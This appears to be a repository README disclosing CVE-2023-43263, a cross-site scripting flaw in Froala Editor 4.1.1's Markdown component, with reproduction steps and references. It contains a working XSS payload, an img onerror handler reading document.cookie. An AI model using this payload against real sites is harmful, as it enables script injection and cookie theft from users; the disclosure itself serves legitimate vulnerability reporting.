b0marek / CVE-2023-43263

Repository for CVE-2023-43263 vulnerability.

CVE ID: CVE-2023-43263

Vulnerability Type: Cross-Site Scripting

Description: Cross-site scripting (XSS) vulnerability in Froala Editor v.4.1.1 allows attackers to execute arbitrary code via the Markdown component.

Steps to reproduce:

Enter payload in markdown component input:

<a title ="a

<img src=x onerror=console.log(document.cookie)>xss</a>

Reference:

1. https://www.cve.org/CVERecord?id=CVE-2023-43263
2. https://froala.com
3. https://www.youtube.com/watch?v=-dXipo_q7tM